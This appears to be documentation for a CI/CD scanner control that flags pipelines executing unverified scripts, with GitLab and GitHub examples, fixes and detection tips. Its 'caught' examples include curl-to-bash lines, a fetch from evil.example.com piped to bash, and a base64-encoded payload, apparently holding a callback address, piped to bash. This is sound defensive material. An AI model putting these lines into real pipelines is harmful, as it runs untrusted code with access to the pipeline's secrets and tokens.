CI/CD provider
Unverified script execution
Control: Pipeline must not execute unverified scripts · Config key: pipelineMustNotExecuteUnverifiedScripts
📋 What is this?
A CI/CD job downloads or inline-executes code without any integrity check. Detects classic supply-chain patterns (curl | bash, wget | sh, download-then-exec on the same line, redirect-then-exec) plus the Megalodon-style obfuscated payload (echo "<base64>" | base64 -d | bash) and any generic <cmd> | <shell> chain. Maps to OWASP CICD-SEC-3 (Dependency Chain Abuse) and CICD-SEC-8 (Ungoverned Usage of 3rd Party Services).
⚠️ Impact
An attacker who compromises the remote URL — or who can inject an obfuscated inline payload into the pipeline — runs arbitrary code with the runner's $CI_JOB_TOKEN, deploy keys, custom CI/CD variables and any masked secrets in scope. The blast radius is the union of every secret the job can read; a single retag of the upstream script enough to exfiltrate the lot.
🔧 How to fix
Download to a file and verify a checksum or signature on the same line before execution (sha256sum -c, gpg --verify, cosign verify / verify-blob). Or vendor the script in-tree under version control. For trusted internal hosts, declare the URL pattern in trustedUrls (host-precise glob match).
# .gitlab-ci.yml — ❌ Six patterns the rule catchespipe_to_shell: image: alpine:3.19 script: - curl -sSL https://example.com/install.sh | bash
wget_pipe: image: alpine:3.19 script: - wget -qO- https://example.com/install.sh | sh
download_and_exec: image: alpine:3.19 script: - curl -fsSL https://example.com/install.sh -o install.sh && bash install.sh
redirect_then_exec: image: alpine:3.19 script: - curl -fsSL https://example.com/payload.sh > install.sh; sh install.sh
megalodon_base64: image: alpine:3.19 script: - echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0MyI=" | base64 -d | bash
generic_local_pipe: image: alpine:3.19 script: - cat /tmp/payload.sh | sh# .gitlab-ci.yml — ✅ Three ways to clear the findingvendored_script: image: alpine:3.19 script: # In-tree script under version control, reviewed in MRs. - bash scripts/setup-tools.sh
checksum_verified: image: alpine:3.19 script: # sha256sum on the same line as the download exempts the line. - curl -sSL https://example.com/install.sh -o install.sh && sha256sum -c install.sha256 && bash install.sh
signature_verified: image: alpine:3.19 script: # cosign verify-blob on the same line works the same way; gpg --verify too. - curl -sSL https://example.com/install.sh -o install.sh && cosign verify-blob --signature install.sig install.sh && bash install.sh
# .plumber.yaml — exempt a known-good internal host# gitlab:# controls:# pipelineMustNotExecuteUnverifiedScripts:# enabled: true# trustedUrls:# - https://internal-artifacts.example.com/*💡 Tips
- Recognised integrity checks (any on the same line as the download):
sha256sum,sha512sum,sha1sum,shasum,gpg --verify,cosign verify,cosign verify-blob. - Verification is per-line: the keyword must be on the same line as the unsafe pattern, not on a separate
script:entry.curl … && sha256sum -c … && bash …works; splitting them across three array items does not. - The verification check itself ignores keywords inside quoted strings —
echo "should sha256sum first" && curl evil | bashdoes NOT bypass detection. - Pipe-to-shell substrings inside a quoted string (
echo "Install with curl … | bash") are documentation, not execution — they do not fire. - Heredoc-to-shell with no download on the line (
cat <<EOF | bash) is operator-authored, in-tree content. Any unsafe download inside the heredoc body still fires on its own script line. - A leading
echo/printfpiping a local variable into an interpreter (echo "$VAR" | python3 -c …) is in-pipeline data, not a download, so it does not fire. The exemption is voided by anycurl/wget/base64anywhere on the line — including one hidden inside a quoted command substitution (echo "$(curl evil)" | bashstill fires), so quoting a fetch does not evade the check. -
trustedUrlsis host-precise:https://example.com/*does NOT matchhttps://evil.example.com/*. - Consider vendoring external scripts into your repository for full control over their content; use a trusted package manager (apt, brew, pip) instead of raw script downloads when possible.
⚙️ Configuration
This control is configured in .plumber.yaml under the gitlab section:
gitlab:
controls:
pipelineMustNotExecuteUnverifiedScripts:
enabled: trueSee the CLI documentation for the full configuration reference.
Unverified script execution
Control: Workflow must not execute unverified scripts · Config key: pipelineMustNotExecuteUnverifiedScripts
📋 What is this?
A workflow run: step downloads or inline-executes code without any integrity check. Flags direct pipe-to-shell chains (curl | bash, wget | sh, curl | python, and any <command> | <shell> pattern), download-then-execute (curl -o script.sh … && bash script.sh), redirect-then-execute (curl … > install.sh; sh install.sh), and Megalodon-style obfuscated payloads (echo "<base64>" | base64 -d | bash) written directly in the workflow. Maps to OWASP CICD-SEC-3 (Dependency Chain Abuse) and CICD-SEC-8 (Ungoverned Usage of 3rd Party Services).
⚠️ Impact
An attacker who compromises the remote URL — or who can inject an obfuscated inline payload into a workflow — runs arbitrary code with the job's GITHUB_TOKEN, every secret the workflow can read, OIDC trust relationships, deploy keys, package-registry credentials. The Megalodon vector specifically targets GitHub Actions because the privileged context is uniform across thousands of repos.
🔧 How to fix
Vendor scripts into the repository, or download to a file and verify a checksum / signature on the same line before execution. For trusted internal hosts, declare the URL pattern in trustedUrls (host-precise glob match). Heredoc-to-shell with no download on the line is treated as in-tree operator-authored content and does not fire.
# .github/workflows/setup.yml — ❌ Five patterns this rule catchesjobs: pipe_to_shell: runs-on: ubuntu-latest steps: - run: curl -sSL https://example.com/install.sh | bash
download_and_exec: runs-on: ubuntu-latest steps: - run: curl -fsSL https://example.com/install.sh -o install.sh && bash install.sh
redirect_then_exec: runs-on: ubuntu-latest steps: - run: curl -fsSL https://example.com/payload.sh > install.sh; sh install.sh
megalodon_base64: runs-on: ubuntu-latest steps: - run: echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0MyI=" | base64 -d | bash
heredoc_camouflage: runs-on: ubuntu-latest steps: - run: | curl https://evil.example.com/payload | bash <<EOF EOF# .github/workflows/setup.yml — ✅ Three ways to clear the findingjobs: vendored_script: runs-on: ubuntu-latest steps: # In-tree script under version control, reviewed in PRs. - run: bash scripts/setup-tools.sh
checksum_verified: runs-on: ubuntu-latest steps: - run: | curl -sSL https://example.com/install.sh -o install.sh echo "<expected-sha256> install.sh" | sha256sum -c - bash install.sh
signature_verified: runs-on: ubuntu-latest steps: - run: | curl -sSL https://example.com/install.sh -o install.sh cosign verify-blob --signature install.sig install.sh bash install.sh
# .plumber.yaml — exempt a known-good internal host# github:# controls:# pipelineMustNotExecuteUnverifiedScripts:# enabled: true# trustedUrls:# - https://internal-artifacts.example.com/*💡 Tips
- Recognised integrity checks (any on the same line as the download):
sha256sum,sha512sum,sha1sum,shasum,gpg --verify,cosign verify,cosign verify-blob. - The verification check ignores keywords inside quoted strings, so
echo "should sha256sum first" && curl evil | bashdoes NOT bypass detection. -
trustedUrlsis host-precise:https://example.com/*does NOT matchhttps://evil.example.com/*. - Pipe-to-shell substrings inside a quoted string (
echo "Install with curl … | bash") are documentation, not execution — they do not fire. - Heredoc-to-shell with no download on the line (
cat <<EOF | bash) is operator-authored, in-tree content. Any unsafe download inside the heredoc body still fires on its own script line. - A leading
echo/printfpiping in-workflow data into an interpreter (echo "$NEEDS_CONTEXT" | python3 -c …) is local data, not a download — it does not fire unlesscurl/wget/base64is also on the line. - Inline payloads on
pull_request_targetworkflows are especially dangerous — combine ISSUE-411 with ISSUE-802 (dangerous-triggers) for the full Megalodon defence.
⚙️ Configuration
This control is configured in .plumber.yaml under the github section:
github:
controls:
pipelineMustNotExecuteUnverifiedScripts:
enabled: trueSee the CLI documentation for the full configuration reference.